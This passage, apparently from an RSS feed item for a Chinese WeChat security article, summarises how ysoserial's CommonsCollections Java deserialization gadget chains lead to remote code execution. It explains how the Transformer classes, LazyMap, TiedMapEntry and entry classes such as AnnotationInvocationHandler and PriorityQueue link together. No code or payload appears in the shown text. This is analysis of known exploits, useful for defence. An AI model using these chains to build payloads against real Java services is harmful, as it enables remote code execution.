Fallback&#34;">的</span><span style="font-family: Verdana;">get</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数，从而调用</span><span style="font-family: Verdana;">tranform</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法导致了</span><span style="font-family: Verdana;">RCE</span></span><span style="font-family:Verdana;font-size:14px;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.36323529411764705" data-s="300,640" style="" data-type="png" data-w="680" src="https://wechat2rss.xlab.app/img-proxy/?k=6f3d9a57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc4GyMicaZ8SMHxUMu6XCRxqM5S60Dac1wBX31icshckF8RWexpalH7hqibg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:Verdana;font-size:9px;"> </span></p><h1><span style="font-size: 17px;">总结</span></h1><h1><br/></h1><h1>通过对<span style="font-size: 14px;text-align: left;font-family: Verdana;">ysoserial</span><span style="font-size: 14px;text-align: left;font-family: &#34;Droid Sans Fallback&#34;">中关于</span><span style="font-size: 14px;text-align: left;font-family: Verdana;">CommonsCollection</span><span style="font-size: 14px;text-align: left;font-family: &#34;Droid Sans Fallback&#34;">的七个利用方式的分析我们可以对可以利用的恶意类做一个总结：</span></h1><p><span style="font-size: 14px;text-align: left;font-family: &#34;Droid Sans Fallback&#34;"><br/></span></p><h1><span style="font-size: 14px;"></span></h1><section class="xmt-style-block" data-style-type="2" data-tools="新媒体排版" data-id="8769"><h1 style="white-space: normal;"><span style="font-size: 15px;">四大Tranformer的tranform方法的作用</span></h1><section class="" data-tools="135编辑器" data-id="5" style="border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box;"><section class="" style="white-space: normal;font-size: 14px;line-height: 25px;margin: 2px auto;padding: 15px;border-width: 2px;border-style: dashed;border-color: rgb(222, 220, 222);max-width: 100%;box-sizing: border-box;"><ul class=" list-paddingleft-2" style=""><li><p style="text-align: justify;max-width: 100% !important;"><span style="max-width: 100% !important;color:#000;">1.ChainedTransformer：</span><span style="color: rgb(0, 0, 0);">循环调用成员变量iTransformers数组的中ransformer中的tranform方法。</span></p></li><li><p style="text-align: justify;max-width: 100% !important;"><span style="max-width: 100% !important;color:#000;">2.InvokerTransformer：</span><span style="color: rgb(0, 0, 0);">通过反射的方法调用传入tranform方法中的inuput对象的方法（方法通过成员变量iMethodName设置，参数通过成员变量iParamTypes设置）</span></p></li><li><p style="text-align: justify;max-width: 100% !important;"><span style="color: rgb(0, 0, 0);">3.ConstantTransformer：返回成员变量iConstant的值。</span></p></li><li><p style="text-align: justify;max-width: 100% !important;"><span style="color: rgb(0, 0, 0);">4.InstantiateTransformer：通过反射的方法返回传入参数input的实力。（构造函数的参数通过成员变量iArgs传入，参数类型通过成员变量iParamTypes传入）</span></p></li></ul></section></section><p class=""><br/></p></section><h1><span style="font-size: 15px;">三大Map的作用</span></h1><section class="xmt-style-block" data-style-type="2" data-tools="新媒体排版" data-id="8769"><section class="" data-tools="135编辑器" data-id="5" style="border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box;"><section class="" style="white-space: normal;font-size: 14px;line-height: 25px;margin: 2px auto;padding: 15px;border-width: 2px;border-style: dashed;border-color: rgb(222, 220, 222);max-width: 100%;box-sizing: border-box;"><ul class=" list-paddingleft-2" style=""><li><p style="text-align: justify;max-width: 100% !important;"><span style="max-width: 100% !important;color:#000;">1. lazyMap：</span><span style="color: rgb(0, 0, 0);">通过调用lazyMap的get方法可以触发它的成员变量factory的tranform方法，用来和上一节中的Tranformer配合使用。</span></p></li><li><p style="text-align: justify;max-width: 100% !important;color:#000;">2. TiedMapEntry：通过调用TiedMapEntry的getValue方法实现对他的成员变量map的get方法的调用，用来和lazyMap配合使用。</p></li><li><p style="text-align: justify;max-width: 100% !important;color:#000;">3. HashMap：通过调用HashMap的put方法实现对成员变量hashCode方法的调用，用来和TiedMapEntry配合使用（TiedMapEntry的hashCode函数会再去调自身的getValue）。</p></li></ul></section></section><p class=""><br/></p></section><p><span style="font-size: 15px;">五大反序列化利用基类</span></p><section class="xmt-style-block" data-style-type="2" data-tools="新媒体排版" data-id="8769"><section class="" data-tools="135编辑器" data-id="5" style="border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box;"><section class="" style="white-space: normal;font-size: 14px;line-height: 25px;margin: 2px auto;padding: 15px;border-width: 2px;border-style: dashed;border-color: rgb(222, 220, 222);max-width: 100%;box-sizing: border-box;"><ul class=" list-paddingleft-2" style=""><li><p style="text-align: justify;max-width: 100% !important;"><span style="max-width: 100% !important;color:#000;">1. AnnotationInvocationHandler：</span><span style="color: rgb(0, 0, 0);">反序列化的时候会循环调用成员变量的get方法，用来和lazyMap配合使用。</span></p></li><li><p style="text-align: justify;max-width: 100% !important;"><span style="max-width: 100% !important;color:#000;">2. PriorityQueue：</span><span style="color: rgb(0, 0, 0);">反序列化的时候会调用TransformingComparator中的transformer的tranform方法，用来直接和Tranformer配合使用。</span></p></li><li><p style="text-align: justify;max-width: 100% !important;"><span style="color: rgb(0, 0, 0);">3. BadAttributeValueExpException：反序列化的时候会去调用成员变量val的toString函数，用来和TiedMapEntry配合使用。（TiedMapEntry的toString函数会再去调自身的getValue）。</span></p></li><li><p style="text-align: justify;max-width: 100% !important;"><span style="color: rgb(0, 0, 0);">4. HashSet：反序列化的时候会去循环调用自身map中的put方法，用来和HashMap配合使用。</span></p></li><li><p style="text-align: justify;max-width: 100% !important;"><span style="color: rgb(0, 0, 0);">5. Hashtable：当里面包含2个及以上的map的时候，回去循环调用map的get方法，用来和lazyMap配合使用。</span></p></li></ul></section></section><p class=""><br/></p></section><p><span style="font-size: 14px;"></span><span style="font-size: 3px;font-family: &#34;Droid Sans Fallback&#34;"></span><br/></p>



<p><a href="2247483753">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=93403687&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247483753%26idx%3D1%26sn%3Df1423a7c948bb1135df4f26873925a9f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 17 Sep 2019 15:24:00 +0800</pubDate>
    </item>
  </channel>
</rss>